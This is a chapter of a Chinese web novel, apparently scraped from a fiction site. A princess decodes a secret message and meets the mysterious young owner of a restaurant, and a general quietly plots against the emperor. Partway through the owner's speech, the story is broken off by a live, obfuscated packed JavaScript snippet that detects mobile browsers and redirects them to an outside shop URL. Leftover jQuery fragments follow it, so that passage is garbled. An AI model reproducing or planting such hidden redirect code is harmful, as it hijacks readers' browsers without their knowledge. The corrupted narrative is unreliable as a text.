文趣网 > 都市小说 > 何不崇昭 > 9. 望春山
    蔺重凰指尖沾着残茶在桌上轻轻描摹。

    “小、盖、口……这个是堂……”

    第一句较为简单,蔺重凰心里本就想着明日要去馥郁堂的事,是以很快分辨出来第一句谜语写得是“堂”与“馥”,正代指馥郁堂。

    “三人初见日——应当是春,忘无心为亡……”

    蔺重凰盯着满纸的蝇头小字,直看得眼珠子发疼头发晕,才将内容辨认了个七七八八。

    只是上一次能排清顺序是应为恰好与洛英相识,又有“贺回有异心”的句子当参考;这次的内容是上次的数倍,仅能依靠每一句前面写的“一二三四”知道内容的顺序是固定的,但破译出的字具体又该怎么排序——

    蔺重凰还真不知道。

    堂、馥、春、山、忘……

    蔺重凰将十数个字在脑海中排序一番后,终于决定先放弃。

    原因无他,让她给这些个毫无联系的字排序,就如同是要给一堆看不见摸不着的东西取名,乱七八糟地组合一番,最后得到的东西怕是要比原先的密文更难懂了。

    蔺重凰将零散的字默念了数遍,将纸条以烛火引燃,确保其化成灰后吹熄了蜡烛,轻手轻脚地躺回了床上。

    明日一早便带着洛英的乌金帖去馥郁楼走一趟吧。

    她阖上了双眼。

    与此同时,在国公府的另一端。

    一穿着夜行衣的男子匆匆走进烛火未熄的书房,对尚在看书的宁渠低声汇报。

    “将军,那鸽子已从长公主院中飞出,可需要属下命人截杀?”

    “不必。”宁渠翻过一页书,声音没什么起伏。

    “将军。”暗卫打扮的人欲言又止。

    止言又欲。

    宁渠余光见他扭扭捏捏半天闷不出一句话来,叹了口气。

    “有什么想说的直接说。”

    暗卫“嘿嘿”一笑:“公爷,属下是想问,既然您已经打算日后借长公主的名义做事了,为何不切断她与贺回之类人的联系?属下担心长公主起意变卦,将您的计划透露出去,于我们多有不利。”

    宁渠慢条斯理地合上书,脸上有一分笑意。

    “你既已知我们是要借长公主之名行事,那便是我们要借她的东风,怎可断了贵人与外界的联系。”

    “……啊?”

    “况且直到现在,公主的站队还是清醒的,‘贺回之类’尚未对她产生影响,”宁渠指尖轻叩在桌上,“以长公主目前之智、咳,之谋略,是否有变卦之意也是能看出来的。”

    “若是过早干涉防范……”他想起蔺重凰对孟持盈的频频讥讽,“被她感觉到,怕是要将你我连着皇帝从头到尾冷嘲一番了。”

    见暗卫只是似懂非懂地点点头,宁渠摆了摆手:“赶紧回你家去,还在我这里赖上瘾了不成。”

    暗卫抬起头,烛光打在脸上,赫然是一张熟悉的脸——宁渠在营中时的副将,尹慎。

    “嗐,”尹慎换了个姿势靠在一旁的木架上,“我老子这几天老念叨我,在你这里当个清闲侍卫比回家耳朵起老茧舒服多了,我再在你这里待两天,你放心,不给你找事儿。”

    像是怕宁渠赶人,尹慎说完便像个滑不溜秋的泥鳅一般从书房中蹿了出去。

    宁渠没管他,只是又想起他前面的问题。

    和一位公主合谋杀死皇帝,可比他原定的计划有趣多了。

    ——

    蔺重凰起了个大早,出门时回绝了要为她安排轿子的管事,在附近找了处轿行径直去了馥郁堂。

    馥郁堂,京城第一酒楼,坐落于最繁华的城区,堂下分楼无数,零零散散遍布在京城各处,就连其他州县中也常常能见到。

    馥郁堂主楼中午和晚上饭点前后一个时辰内都不接临时来的散客,需得是提前预约才能有一处席位,不过除了这段时间以外,一楼大堂里都是能随意坐的,因此预约得上的饭点来,预约不上的早些或晚些来,馥郁堂几乎全天都人满为患,是以蔺重凰来时虽然尚早,主楼里也已经座无虚席。

    见有先前没见过的客人来,一个跑堂小二笑眯眯的过来问:“这位客官,可是第一次来主楼?一楼这边已经满了,小的去另一边给您找个位置?”

    蔺重凰隔着帷纱看见小二的笑脸,摇了摇头:“不必,”她的指尖在被衣袖掩盖住的乌金帖上摩挲了两下,“我有专门的拜帖,不知贵阁拜帖可分等级?”

    小二挠挠头:“您这可难住我了,您稍等,小的去找掌柜的问一问。”

    蔺重凰颔首,见小二离去,不动声色地往一旁拐角的地方挪了挪——站在门口未免太引人注目,她还不欲给自己找麻烦。

    蔺重凰遥遥看着小二跑到一楼稍高处的柜台前,对坐在里面的人说了些什么,随即那人便抬起头来,视线在嘈杂的一楼中逡巡了一圈。

    见掌柜的没找见人,小二又指向了蔺重凰所在的角落,掌柜同她对视上之后,反手赏了小二一个爆栗,后有些匆忙的从柜台中走出,急急朝她走来。

    “小姐,敢问您拿的是哪种帖子?”掌柜横穿半个大堂走来,面上有些紧张。

    “似乎是叫乌金帖。”蔺重凰照着洛英同她说的名字,复数给掌柜。

    掌柜点点头:“对了对了,您随我来。”

    见掌柜亲自带着蔺重凰上楼,一楼一处正在圆桌旁吃饭的人收回了视线,当即放下筷子,起身便要离开,行动间撞到了另一桌的客人,竟是匆匆扔下整个钱袋当赔礼,本欲张口骂他的人于是只翻了个白眼,小声说了句“晦气”。

    掌柜带着蔺重凰一路走到了四楼,越往上走人越少,等到四楼时,整层楼几乎都是空的。

    “公子,人已经带到了。”掌柜走到一处朝阳的厢房外,轻轻敲了敲门。

    “请她进来吧。”里面传出一道有些朦胧的男声。

    掌柜推开门,低声道:“小姐,请进。”

    进门前蔺重凰抬头看了一眼,门上方挂着的厢房名牌,正写着“望春山”三字。

    房中到处垂挂着半透的白纱,阳光隔着窗上的绢打进来,在房间最里面影影绰绰地照出一个斜靠着的人影。

    蔺重凰拨开那些垂坠的纱帘,一步步走近掌柜口中的“公子”,在两人之间只剩最后一层纱时,蔺重凰停住了脚步。

    “人人都道我馥郁堂开遍皇城,风光大盛;人人也道我馥郁堂按权财分等级,拜高踩低。”“公子”的声音幽幽响起,“可是极少有人知道我馥郁堂看的不是钱权,而是初创时发出去的拜帖。”

    他站起身来,走到了纱帘的另一边。

    “馥郁堂自创立之初,发出去过的乌金帖共计七张,其中一张已被收回,还有一张因其他原因作废,也就是说……整个大顺现下流通在外的乌金帖不过五张,这五个持帖人本公子全都认识,只是不记得有你这样一位

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766478|209716||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    年轻的女子啊,小姐。”

    蔺重凰默了默,那日洛英给她乌金帖的动作十分隐秘,言语间也颇为小心,并未与她说太多东西,只说让她拿了乌金帖直接来馥郁堂,管事之人自会明白。

    她此前对馥郁堂并不熟悉,原先想多等几天,查些消息再来,可昨晚贺回给她传的信里又提到了这里,于是思来想去,蔺重凰还是决定直接来一趟,哪怕谈事不成,长公主的身份也能起些作用——虽无权利,但毕竟是公主身份。

    事实上,她今日来此大抵也确实来对了,贺回的密信上的第二句,正与这厢房的名字一样,都是“望春山”。

    只是似乎遇到了最糟糕的情况,在望春山中等着她的人并未“自会明白”,相反,一开口便是质疑。

    听明白馥郁堂乌金帖的稀缺后,蔺重凰也有些犹豫,这些消息应当是密不外传的,只有持帖之人方能明晰,而她显然无法在此刻将洛英召唤出来问问她“这帖子你是如何得来”,又或者“这帖子究竟是真是假”,只能先试试能否同这个人周旋。

    “公子,人已经带到了……”掌柜的声音在她脑海中响起。

    人带到了……

    掌柜并未提前通报,便直接领她上楼,话里行间都未向“公子”介绍她是谁,只说“人已带到”,分明是知道她会来。

    蔺重凰轻轻呼出一口气。

    这人在诈她。

    “公子说笑了,”蔺重凰轻声开口,“依公子所言,馥郁堂乌金帖非常人所能见,又何谈仿制。再者说,公子的酒楼开遍大顺土地,谁人敢仿了您这举世不足七张的帖子,还不知死活的带过来见您。”

    纱帘对面的人陷入诡异的沉默。

    半晌,男子轻咳一声拨开白纱,两人终于得以从隔帘相望变成面面相觑。

    于是蔺重凰便见他摸了下鼻梁,冲自己作了个揖,声音中有些迟疑:“敢问小姐芳名?”

    “?”

    蔺重凰有些疑惑,但并未耽搁,迅速编了个假名:“我名黄霖。”

    “哦、哦,黄小姐,”“公子”有些脸红,“你可认识西陵洛氏洛家二小姐洛英?”

    念着这人说出了洛英的名字,应当是知道了自己这乌金帖的来处,再遮遮掩掩也无甚大用,蔺重凰便没有迟疑地回了“认识”。

    随即便见这前不久还在端腔拿调的人对她回了一礼:“抱歉,黄小姐,我……”

    想必是有些羞于启齿,他顿了好一会才闭着眼道:“馥郁堂乌金帖是家父生前找能工巧匠设计,乃传世孤品,无人能仿,我……我先前以为是洛二小姐来了,才同黄小姐装腔作势了一番……还望黄小姐莫怪。”

    蔺重凰挑了下眉。

    “无事,乌金帖如此重要,本就牵涉甚广,应当严格些。怪我来时没有提前开口讲话,才让公子误会了,”蔺重凰声音里带着笑意,柔柔道,“还要多谢公子未曾将我直接赶出去。”

    “公子”转过身,抬手抹了把脸,指指一旁的摆的竹编椅,示意蔺重凰坐下。

    “小姐莫要再挖苦我了,”他也转身坐回美人榻,“我名文从闲,黄小姐你……”

    蔺重凰正在拨开垂在竹编椅上的白纱,闻言朝他点了下头:“文公子。”

    文公子看着自己为了在洛英面前大露一手而挂的满屋纱帐,又瞥见自己特意穿的一身白衣,终究还是在蔺重凰有些疑惑的视线中,又重重地搓了把脸。